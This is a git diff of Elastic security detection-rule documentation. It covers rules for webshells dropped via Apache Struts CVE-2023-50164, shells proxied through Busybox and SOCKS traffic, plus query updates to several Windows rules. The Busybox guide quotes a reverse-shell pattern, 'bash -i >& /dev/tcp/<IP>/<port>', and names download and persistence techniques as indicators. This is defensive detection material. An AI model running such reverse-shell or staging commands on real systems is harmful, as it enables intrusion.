+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://nvd.nist.gov/vuln/detail/CVE-2023-50164
+* https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html
+* https://github.com/snyk-labs/CVE-2023-50164-POC
+
+*Tags*: 
+
+* Domain: Endpoint
+* Domain: Web
+* Domain: Network
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Initial Access
+* Tactic: Persistence
+* Data Source: Elastic Defend
+* Data Source: Network Traffic
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation*
+
+
+CVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation.
+
+
+*Possible investigation steps*
+
+
+- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns.
+- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data.
+- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality.
+- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker.
+- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts.
+- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt.
+- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected).
+- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms.
+
+
+*False positive analysis*
+
+
+- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems.
+- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns.
+- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only.
+- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker.
+- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection.
+- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity.
+- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation.
+- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment.
+- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts.
+- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts.
+- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell.
+- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised.
+- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis).
+
+
+*Network Packet Capture Integration Setup*
+
+
+**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by agent.id with maxspan=10s
+  [network where data_stream.dataset == "network_traffic.http" and
+      http.request.method == "POST" and
+      http.request.body.content like "*WebKitFormBoundary*" and
+      url.path like~ "*upload*.action"]
+  [file where event.dataset == "endpoint.events.file" and
+      host.os.type == "linux" and
+      event.action == "creation" and
+      process.name == "java" and
+      file.extension == "jsp" and
+      file.path like "*/webapps/*" and
+      not file.path like "*/WEB-INF/*" and
+      not file.path like "*/META-INF/*" and
+      not process.parent.name in ("apk", "apt", "apt-get", "dpkg", "yum", "rpm", "dnf", "systemd", "init")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Initial Access
+** ID: TA0001
+** Reference URL: https://attack.mitre.org/tactics/TA0001/
+* Technique:
+** Name: Exploit Public-Facing Application
+** ID: T1190
+** Reference URL: https://attack.mitre.org/techniques/T1190/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Server Software Component
+** ID: T1505
+** Reference URL: https://attack.mitre.org/techniques/T1505/
+* Sub-technique:
+** Name: Web Shell
+** ID: T1505.003
+** Reference URL: https://attack.mitre.org/techniques/T1505/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/privileged-account-brute-force.asciidoc b/docs/detections/prebuilt-rules/rule-details/privileged-account-brute-force.asciidoc
index fa829d7801..0c9657e906 100644
--- a/docs/detections/prebuilt-rules/rule-details/privileged-account-brute-force.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/privileged-account-brute-force.asciidoc
@@ -34,7 +34,7 @@ Identifies multiple consecutive logon failures targeting an Admin account from t
 * Resources: Investigation Guide
 * Data Source: Windows Security Event Logs
 
-*Version*: 114
+*Version*: 115
 
 *Rule authors*: 
 
@@ -112,7 +112,8 @@ This rule identifies potential password guessing/brute force activity from a sin
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name, source.ip with maxspan=10s
-  [authentication where event.action == "logon-failed" and winlog.logon.type : "Network" and
+  [authentication where host.os.type == "windows" and
+    event.action == "logon-failed" and winlog.logon.type : "Network" and
     source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and user.name : "*admin*" and
 
     /* noisy failure status codes often associated to authentication misconfiguration */
diff --git a/docs/detections/prebuilt-rules/rule-details/process-creation-via-secondary-logon.asciidoc b/docs/detections/prebuilt-rules/rule-details/process-creation-via-secondary-logon.asciidoc
index 6394f32067..a78667a277 100644
--- a/docs/detections/prebuilt-rules/rule-details/process-creation-via-secondary-logon.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/process-creation-via-secondary-logon.asciidoc
@@ -34,7 +34,7 @@ Identifies process creation with alternate credentials. Adversaries may create a
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 114
+*Version*: 115
 
 *Rule authors*: 
 
@@ -108,14 +108,14 @@ Audit events 4624 and 4688 are needed to trigger this rule.
 ----------------------------------
 sequence by winlog.computer_name with maxspan=1m
 
-[authentication where event.action:"logged-in" and
+[authentication where host.os.type == "windows" and event.action:"logged-in" and
  event.outcome == "success" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and
 
  /* seclogon service */
  process.name == "svchost.exe" and
  winlog.event_data.LogonProcessName : "seclogo*" and source.ip == "::1" ] by winlog.event_data.TargetLogonId
 
-[process where event.type == "start"] by winlog.event_data.TargetLogonId
+[process where host.os.type == "windows" and event.type == "start"] by winlog.event_data.TargetLogonId
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/proxy-shell-execution-via-busybox.asciidoc b/docs/detections/prebuilt-rules/rule-details/proxy-shell-execution-via-busybox.asciidoc
new file mode 100644
index 0000000000..d7a5d09d78
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/proxy-shell-execution-via-busybox.asciidoc
@@ -0,0 +1,172 @@
+[[proxy-shell-execution-via-busybox]]
+=== Proxy Shell Execution via Busybox
+
+Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.process*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://gtfobins.github.io/gtfobins/busybox/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Tactic: Execution
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Proxy Shell Execution via Busybox*
+
+
+This rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox’s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence.
+
+
+*Possible investigation steps*
+
+
+- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action.
+- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence.
+- Expand the process tree 10–15 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes).
+- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging.
+- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity.
+
+
+*False positive analysis*
+
+
+- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected.
+- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs).
+- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence.
+- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified.
+- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup.
+- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp/<IP>/<port>), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution.
+- Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from Elastic Defend.
+
+
+*Elastic Defend Integration Setup*
+
+Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
+
+
+*Prerequisite Requirements:*
+
+- Fleet is required for Elastic Defend.
+- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation].
+
+
+*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:*
+
+- Go to the Kibana home page and click "Add integrations".
+- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
+- Click "Add Elastic Defend".
+- Configure the integration name and optionally add a description.
+- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide].
+- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
+- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
+For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide].
+- Click "Save and Continue".
+- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+process where host.os.type == "linux" and  event.type == "start" and event.action == "exec" and process.parent.name == "busybox" and
+process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
+process.command_line in ("bash", "bash-", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
+not (
+  process.args == "-c" or
+  process.parent.args : (
+    "crond", "/usr/sbin/crond", "/local-registrator.sh", "/var/atlassian/application-data/bamboo-agent*"
+  ) or
+  process.parent.command_line in (
+    "sh /readonly-config/fix-split-brain.sh",
+    "/bin/sh -c /health-check.sh || bash -c 'kill -s 15 $(pidof siridb-server) && (sleep 10; kill -s 9 $(pidof siridb-server))'"
+  ) or
+  process.command_line == "bash /etc/kafka/docker/run" or
+  process.parent.command_line like (
+    "/bin/sh -c apk add*", "/bin/sh -c crm-cron-enabled*", "udhcpc -n -p /run/udhcpc.*", "flock -x*"
+  ) or
+  process.working_directory == "/usr/share/grafana"
+)
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: System Binary Proxy Execution
+** ID: T1218
+** Reference URL: https://attack.mitre.org/techniques/T1218/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
diff --git a/docs/detections/prebuilt-rules/rule-details/remote-computer-account-dnshostname-update.asciidoc b/docs/detections/prebuilt-rules/rule-details/remote-computer-account-dnshostname-update.asciidoc
index d5540bad2b..88e9ecc6b5 100644
--- a/docs/detections/prebuilt-rules/rule-details/remote-computer-account-dnshostname-update.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/remote-computer-account-dnshostname-update.asciidoc
@@ -38,7 +38,7 @@ Identifies the remote update to a computer account's DnsHostName attribute. If t
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 212
+*Version*: 213
 
 *Rule authors*: 
 
@@ -101,7 +101,8 @@ In Active Directory environments, the DnsHostName attribute links computer accou
 
 [source, js]
 ----------------------------------
-iam where event.action == "changed-computer-account" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and
+iam where host.os.type == "windows" and event.action == "changed-computer-account" and
+    user.id : ("S-1-5-21-*", "S-1-12-1-*") and
 
     /* if DnsHostName value equal a DC DNS hostname then it's highly suspicious */
     winlog.event_data.DnsHostName : "??*" and
diff --git a/docs/detections/prebuilt-rules/rule-details/remote-file-creation-in-world-writeable-directory.asciidoc b/docs/detections/prebuilt-rules/rule-details/remote-file-creation-in-world-writeable-directory.asciidoc
index c8a4543098..ace9064ab7 100644
--- a/docs/detections/prebuilt-rules/rule-details/remote-file-creation-in-world-writeable-directory.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/remote-file-creation-in-world-writeable-directory.asciidoc
@@ -3,7 +3,7 @@
 
 This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network.
 
-*Rule type*: eql
+*Rule type*: new_terms
 
 *Rule indices*: 
 
@@ -31,7 +31,7 @@ This rule detects the creation of a file in a world-writeable directory through
 * Data Source: Elastic Defend
 * Resources: Investigation Guide
 
-*Version*: 3
+*Version*: 4
 
 *Rule authors*: 
 
@@ -146,9 +146,10 @@ Auditbeat is a lightweight shipper that you can install on your servers to audit
 
 [source, js]
 ----------------------------------
-file where host.os.type == "linux" and event.action == "creation" and
-process.name in ("scp", "sshd", "ssh", "ftp", "sftp", "vsftpd", "sftp-server", "rsync") and
-file.path like~ ("/tmp*", "/var/tmp*", "/dev/shm/*", "/home/.*") and user.id != "0"
+event.category:file and host.os.type:linux and event.action:creation and
+process.name:(ftp or rsync or scp or sftp or sftp-server or ssh or sshd or vsftpd) and
+file.path:((/dev/shm/* or /tmp* or /var/tmp*) and not (/tmp/ansible-tmp-* or /var/tmp/ansible-tmp-*)) and
+not user.id:0
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/remote-scheduled-task-creation-via-rpc.asciidoc b/docs/detections/prebuilt-rules/rule-details/remote-scheduled-task-creation-via-rpc.asciidoc
index 7f2a5481d8..fa8623ef08 100644
--- a/docs/detections/prebuilt-rules/rule-details/remote-scheduled-task-creation-via-rpc.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/remote-scheduled-task-creation-via-rpc.asciidoc
@@ -32,7 +32,7 @@ Identifies scheduled task creation from a remote source. This could be indicativ
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 113
+*Version*: 114
 
 *Rule authors*: 
 
@@ -91,7 +91,7 @@ https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler
 
 [source, js]
 ----------------------------------
-iam where event.action == "scheduled-task-created" and
+iam where host.os.type == "windows" and event.action == "scheduled-task-created" and
  winlog.event_data.RpcCallClientLocality : "0" and winlog.event_data.ClientProcessId : "0"
 
 ----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/remote-windows-service-installed.asciidoc b/docs/detections/prebuilt-rules/rule-details/remote-windows-service-installed.asciidoc
index 290b80c0dc..a56619aca8 100644
--- a/docs/detections/prebuilt-rules/rule-details/remote-windows-service-installed.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/remote-windows-service-installed.asciidoc
@@ -33,7 +33,7 @@ Identifies a network logon followed by Windows service creation with same LogonI
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 111
+*Version*: 112
 
 *Rule authors*: 
 
@@ -97,9 +97,9 @@ Windows services are crucial for running background processes. Adversaries explo
 [source, js]
 ----------------------------------
 sequence by winlog.logon.id, winlog.computer_name with maxspan=1m
-[authentication where event.action == "logged-in" and winlog.logon.type : "Network" and
-event.outcome=="success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"]
-[iam where event.action == "service-installed" and
+[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and
+ event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"]
+[iam where host.os.type == "windows" and event.action == "service-installed" and
  not winlog.event_data.SubjectLogonId : "0x3e7" and
  not winlog.event_data.ServiceFileName :
                ("?:\\Windows\\ADCR_Agent\\adcrsvc.exe",
diff --git a/docs/detections/prebuilt-rules/rule-details/sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
index f9646bda29..d905ec2ef8 100644
--- a/docs/detections/prebuilt-rules/rule-details/sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
@@ -41,7 +41,7 @@ Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user rig
 * Use Case: Active Directory Monitoring
 * Data Source: Windows Security Event Logs
 
-*Version*: 217
+*Version*: 218
 
 *Rule authors*: 
 
@@ -126,7 +126,7 @@ Audit Authorization Policy Change (Success,Failure)
 
 [source, js]
 ----------------------------------
-event.code:4704 and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege"
+event.code:4704 and host.os.type:"windows" and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/service-creation-via-local-kerberos-authentication.asciidoc b/docs/detections/prebuilt-rules/rule-details/service-creation-via-local-kerberos-authentication.asciidoc
index 1471d0ecf3..2b318e2496 100644
--- a/docs/detections/prebuilt-rules/rule-details/service-creation-via-local-kerberos-authentication.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/service-creation-via-local-kerberos-authentication.asciidoc
@@ -40,7 +40,7 @@ Identifies a suspicious local successful logon event where the Logon Package is
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -102,7 +102,7 @@ Kerberos is a network authentication protocol designed to provide strong authent
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name with maxspan=5m
- [authentication where
+ [authentication where host.os.type == "windows" and
 
   /* event 4624 need to be logged */
   event.action == "logged-in" and event.outcome == "success" and winlog.event_data.ElevatedToken == "%%1843" and process.pid == 0 and 
@@ -110,7 +110,7 @@ sequence by winlog.computer_name with maxspan=5m
   /* authenticate locally using relayed kerberos Ticket */
   winlog.event_data.AuthenticationPackageName :"Kerberos" and winlog.logon.type == "Network" and cidrmatch(source.ip, "127.0.0.0/8", "::1")] by winlog.event_data.TargetLogonId
 
-  [any where
+  [any where host.os.type == "windows" and
    /* event 4697 need to be logged */
    event.action : "service-installed"] by winlog.event_data.SubjectLogonId
 
diff --git a/docs/detections/prebuilt-rules/rule-details/socks-traffic-from-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/rule-details/socks-traffic-from-an-unusual-process.asciidoc
new file mode 100644
index 0000000000..fc937c66c6
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/socks-traffic-from-an-unusual-process.asciidoc
@@ -0,0 +1,111 @@
+[[socks-traffic-from-an-unusual-process]]
+=== SOCKS Traffic from an Unusual Process
+
+This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network-*
+* logs-fortinet_fortigate.log-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://attack.mitre.org/techniques/T1090/
+* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate
+* https://www.elastic.co/docs/reference/integrations/endpoint
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: Windows
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Command and Control
+* Data Source: Elastic Defend
+* Data Source: Fortinet
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating SOCKS Traffic from an Unusual Process*
+
+
+
+*Possible investigation steps*
+
+
+- Review the process details like command_line, privileges, global relevance and reputation.
+- Review the parent process execution details like command_line, global relevance and reputation.
+- Examine all network connection details performed by the process during last 48h.
+- Examine all localhost network connections performed by the same process to verify if there is any port forwarding with another process on the same machine.
+- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.
+
+
+*False positive analysis*
+
+
+- Browser proxy extensions and Add-ons.
+- Development and deployment tools.
+- Third party trusted tools using SOCKS for network communication.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Terminate the suspicious processes and all associated children and parents.
+- Conduct a thorough review of the system's configuration files to identify unauthorized changes.
+- Reset credentials for any accounts associated with the source machine.
+- Implement network-level controls to block traffic via SOCKS unless authorized.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by source.port, source.ip, destination.ip with maxspan=1m
+ [network where event.dataset == "fortinet_fortigate.log" and event.action == "signature" and network.application in ("SOCKS4", "SOCKS5")]
+ [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Technique:
+** Name: Proxy
+** ID: T1090
+** Reference URL: https://attack.mitre.org/techniques/T1090/
diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-access-to-ldap-attributes.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-access-to-ldap-attributes.asciidoc
index efb9c36c7a..a8798e32be 100644
--- a/docs/detections/prebuilt-rules/rule-details/suspicious-access-to-ldap-attributes.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/suspicious-access-to-ldap-attributes.asciidoc
@@ -34,7 +34,7 @@ Identify read access to a high number of Active Directory object attributes. The
 * Data Source: Windows
 * Resources: Investigation Guide
 
-*Version*: 107
+*Version*: 108
 
 *Rule authors*: 
 
@@ -112,7 +112,7 @@ Audit Directory Service Changes (Success,Failure)
 
 [source, js]
 ----------------------------------
-any where event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and
+any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and
  winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000
 
 ----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-remote-registry-access-via-sebackupprivilege.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
index febaa05570..fe0d67307d 100644
--- a/docs/detections/prebuilt-rules/rule-details/suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
@@ -39,7 +39,7 @@ Identifies remote access to the registry using an account with Backup Operators
 * Data Source: Active Directory
 * Data Source: Windows Security Event Logs
 
-*Version*: 215
+*Version*: 216
 
 *Rule authors*: 
 
@@ -132,12 +132,12 @@ Special Logon (Success)
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name, winlog.event_data.SubjectLogonId with maxspan=1m
- [iam where event.action == "logged-in-special"  and
+ [iam where host.os.type == "windows" and event.action == "logged-in-special" and
   winlog.event_data.PrivilegeList : "SeBackupPrivilege" and
 
   /* excluding accounts with existing privileged access */
   not winlog.event_data.PrivilegeList : "SeDebugPrivilege"]
- [any where event.code == "5145" and winlog.event_data.RelativeTargetName : "winreg"]
+ [any where host.os.type == "windows" and event.code == "5145" and winlog.event_data.RelativeTargetName : "winreg"]
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-seincreasebasepriorityprivilege-use.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-seincreasebasepriorityprivilege-use.asciidoc
index 9db1c3067f..d9bee4fa3d 100644
--- a/docs/detections/prebuilt-rules/rule-details/suspicious-seincreasebasepriorityprivilege-use.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/suspicious-seincreasebasepriorityprivilege-use.asciidoc
@@ -36,7 +36,7 @@ Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an u
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -108,7 +108,7 @@ Audit Sensitive Privilege Use (Success)
 
 [source, js]
 ----------------------------------
-event.category:iam and event.code:"4674" and
+event.category:iam and host.os.type:"windows" and event.code:"4674" and
 winlog.event_data.PrivilegeList:"SeIncreaseBasePriorityPrivilege" and event.outcome:"success" and
 winlog.event_data.AccessMask:"512" and not winlog.event_data.SubjectUserSid:("S-1-5-18" or "S-1-5-19" or "S-1-5-20")
 
